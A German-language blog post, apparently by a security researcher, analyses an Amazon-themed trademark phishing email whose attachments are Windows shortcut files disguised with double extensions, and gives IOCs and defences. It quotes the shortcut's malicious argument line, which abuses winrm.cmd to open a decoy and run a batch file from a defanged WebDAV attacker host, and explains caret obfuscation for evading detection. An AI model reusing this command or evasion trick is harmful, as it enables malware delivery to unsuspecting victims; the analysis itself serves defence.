Vier Beweise im Anhang, vier Windows-Verknüpfungen: Amazon-Markenrechtsphishing mit doppelter Dateiendung

Über doppelte Dateiendungen habe ich meine Bachelorarbeit geschrieben. Entsprechend gut war die Laune, als am Freitag ein Prachtexemplar im Postfach lag: eine höfliche Markenrechtsbeschwerde an einen Amazon-Händler, vier Anhänge, alle mit .PDF oder .txt im Namen. Und alle vier sind Windows-Verknüpfungen. (IOCs sind defangt, damit hier niemand aus Versehen klickt.)

Die Mail

From: "Amazon Performance Team" <edenais[@]188[.]com>. Der Betreff beginnt mit Re： - allerdings mit dem vollbreiten Doppelpunkt U+FF1A, wie ihn eine chinesische Tastatur setzt. Kodiert ist er in GBK. Das sind die ersten beiden Fingerabdrücke, und beide stehen im Header, nicht im Text.

Der Text selbst ist gut. Ein angeblicher Markeninhaber schreibt, das Listing mit der ASIN [B0D2GM9FJX] benutze seine Produktbilder ohne Erlaubnis. Man wisse ja, dass Händler die Amazon-Regeln zum geistigen Eigentum nicht alle kennen, deshalb diese freundliche Erinnerung - bevor man offiziell Beschwerde einreiche. 48 Stunden zum Löschen, dann sei die Sache vom Tisch. Wer eine Vertriebslizenz wolle, könne sich gerne melden.

Das ist psychologisch sauber gebaut. Es wird nicht gedroht, es wird Kulanz angeboten. Und "account health penalties" ist für einen Marketplace-Händler kein Fachbegriff, sondern die Formulierung, die zwischen Geschäft und kein Geschäft steht.

Der einzige handwerkliche Fehler: Die Platzhalterklammern stehen noch drin. Marke [LAYSD], ASIN [B0D2GM9FJX], und die Signatur lautet wörtlich [Amazon Performance Team]. Jemand hat ein Template befüllt und die eckigen Klammern mitgeschickt.

Kein einziger Link

Im Body steht keine URL. Kein Button, kein Tracking-Pixel, kein Bild von einem fremden Server. Das ist kein Versehen - es ist der Punkt.

Der Aufruf lautet nicht "klicken Sie hier", sondern: Sieh dir die Beweise an. Angehängt seien Markenurkunde, Brand-Registry-Nachweis und Screenshots der Verletzung. Damit dreht die Mail die übliche Regel um. "Keine Anhänge von Fremden öffnen" hält so lange, bis der Anhang der Beweis ist, den man selbst sehen will.

Und weil keine URL drin ist, hat der URL-Reputationsfilter im Gateway nichts zu bewerten. SPF und DKIM stehen auf pass - sie prüfen 188.com, nicht Amazon, und der Freemail-Account gehört dem Absender ja wirklich. SpamAssassin vergab -0,1 Punkte bei einer Schwelle von 7,0. Die Mail wurde nicht durchgelassen, sie war unauffällig.

Vier Anhänge, zwei Dateien

order number is #702-3181059-5929828.PDF.lnk   2310 B
ASIN【B0D2GM9FJX】  .PDF.lnk                    2310 B   (hash-identisch)
Purchase products.txt.lnk                      1919 B
Store ID NO.FGU5I5JGNDF.txt.lnk                1919 B   (hash-identisch)

Vier Namen, zwei Dateien. Die Namen sind der eigentliche Aufwand: Bestellnummer, ASIN, Store-ID, Einkaufsliste. Zusammen sehen sie aus wie eine Akte. Beim zweiten Namen stehen sogar zwei Leerzeichen vor der Endung - ein alter Trick, um .lnk in schmalen Dateilisten aus dem sichtbaren Bereich zu schieben.

Der Rest erledigt Windows von selbst. Bekannte Dateiendungen sind im Explorer standardmäßig ausgeblendet, und .lnk ist eine bekannte Endung. Was der Händler sieht, heißt order number is #702-3181059-5929828.PDF und trägt ein Dokument-Icon, weil das LNK sein Icon selbst mitbringt: Die PDF-Variante zeigt auf .\1.pdf, die TXT-Variante auf Icon 70 aus SHELL32.dll. Im Beschreibungsfeld steht wps office.

Was beim Doppelklick passiert

Das Ziel der Verknüpfung ist kein Downloader und keine EXE, sondern:

Ziel      : C:\Windows\System32\winrm.cmd
Argumente : &st^art\\amazom[.]my@SSL\webdav\1.pdf&&call \\amazom[.]my@SSL\webdav\yyy.bat
Fenster   : minimiert, ohne Fokus

winrm.cmd ist Windows-Bordmittel, in jeder Installation vorhanden, von Microsoft signiert. Es gibt keinen Download, keine Makrowarnung, kein SmartScreen. Ein LOLBin - ein legitimes Programm, das die Drecksarbeit übernimmt.

Der Trick steckt im Argumentfeld. winrm.cmd ist eine Batchdatei, also startet Windows sie über cmd.exe, und alles landet in einer Kommandozeile. Das führende & beendet den eigentlichen Befehl, danach laufen zwei eigene: start öffnet ein Köderdokument, damit der Händler sein "PDF" sieht, call führt yyy.bat aus. Klassische Argument-Injection.

st^art mit Caret dazwischen. Das Caret ist in cmd.exe ein Escape-Zeichen und wird beim Parsen verworfen - cmd liest start, ein simples String-Matching auf start liest nichts. Die zweite Variante schreibt s^ta^rt, mit zwei Carets an anderer Stelle. Zwei Obfuskationsvarianten in derselben Mail.

Und \\amazom[.]my@SSL\webdav\ ist ein UNC-Pfad auf WebDAV. Der Suffix @SSL sagt dem Windows-WebClient-Dienst: sprich HTTPS auf Port 443. Für die Firewall ist das ausgehendes TLS zu einer Domain ohne Vorgeschichte.

Die Infrastruktur

amazom[.]my - ein m statt n, dazu die malaysische TLD. Registriert am 21. April 2026, 95 Tage vor dem Versand, über einen Registrar mit Registranten-Organisation "Kvm idc" in Shanghai. Sie zeigt auf einen einzelnen VPS bei UCloud in Hongkong, auf dem laut Passive DNS nichts anderes liegt. Kein gekaperter Bestandsserver, kein Shared Hosting: eigene Infrastruktur, drei Monate vorher gekauft.

Eingeliefert wurde die Mail über die Weboberfläche von 188.com - aber der Client saß nicht zuhause, sondern auf einem Server in Hongkong (AS152194 CTG Server Limited).

Der interessanteste Befund kommt von VirusTotal. Die PDF-Variante kennen 32 von 61 Engines als trojan.lnkrun/winlnk, mit exakt diesen Dateinamen - andere Empfänger derselben Kampagne haben sie eingereicht. Die TXT-Variante ist dort komplett unbekannt. Gleiche Technik, gleiche Mail, ein anderes Caret, und die Datei existiert für die Scanner nicht. Die Domain selbst steht bei 1 von 91.

Nebenbei verraten die LNK-Metadaten noch die Werkbank: zwei Build-Rechner (laptop-3373imbb und 10-7-181-81), Zieldatei-Zeitstempel von 2021 und 2022, und im TXT-Sample eine SID mit RID 500. Gebaut als eingebauter Administrator, auf zwei verschiedenen Maschinen.

Was hilft

Dateiendungen einblenden. Explorer → Ansicht → Dateinamenerweiterungen, per GPO HideFileExt = 0. Aus Beweis.PDF wird sichtbar Beweis.PDF.lnk. Ein Haken, und die gesamte Klasse doppelter Endungen verliert ihre Grundlage.

.lnk am Mail-Gateway blocken. Es gibt keine legitime E-Mail mit einer Windows-Verknüpfung im Anhang. Diese Kampagne ist damit vollständig erledigt.

WebClient-Dienst deaktivieren, wenn niemand WebDAV braucht. Ohne ihn scheitert \\host@SSL\... sofort. In den meisten Büros wird der Dienst nie genutzt, ist aber ein Standard-Nachladekanal.

Amazon-Beschwerden nur im Seller Central prüfen. Echte Markenrechtsbeschwerden stehen in der Account-Health-Ansicht. Steht dort nichts, ist die Mail erledigt - ohne dass jemand einen Anhang öffnet.

Wer es netzseitig angehen will: Für genau dieses Thema liegt mein Suricata-Regelset auf GitHub - wilketob/suricata. Die Regeln vergleichen die Magic Bytes einer übertragenen Datei mit der deklarierten Endung und schlagen an, wenn eine angebliche PDF- oder Bilddatei in Wahrheit ein Executable oder Archiv ist. Ehrlicherweise mit einer Einschränkung, die dieser Fall gut zeigt: Das funktioniert bei unverschlüsseltem Traffic. Ein Nachladen per WebDAV über HTTPS sieht die Regel ohne TLS-Inspektion nicht. Am Mail-Gateway, wo der Anhang im Klartext vorliegt, greift der Ansatz dagegen sofort.

Fazit

Diese Kampagne setzt an keiner Stelle auf technische Neuheit. Sie setzt darauf, dass jede Schutzebene für sich allein hinschaut: Der Header ist sauber, weil er auf die falsche Domain geprüft wird. Der Body ist sauber, weil kein Link drin ist. Die Domain ist sauber, weil sie neu ist. Der Anhang ist sauber, weil er auf ein Microsoft-Bordmittel zeigt. Erst alle vier zusammen ergeben den Angriff, und diese Zusammenschau macht am Ende ein Mensch - der gerade unter 48-Stunden-Frist steht und Beweise sehen will.

Der Rest ist ein ausgeblendetes .lnk hinter einem .PDF. Dass dieser Trick 2026 immer noch trägt, liegt nicht an den Angreifern.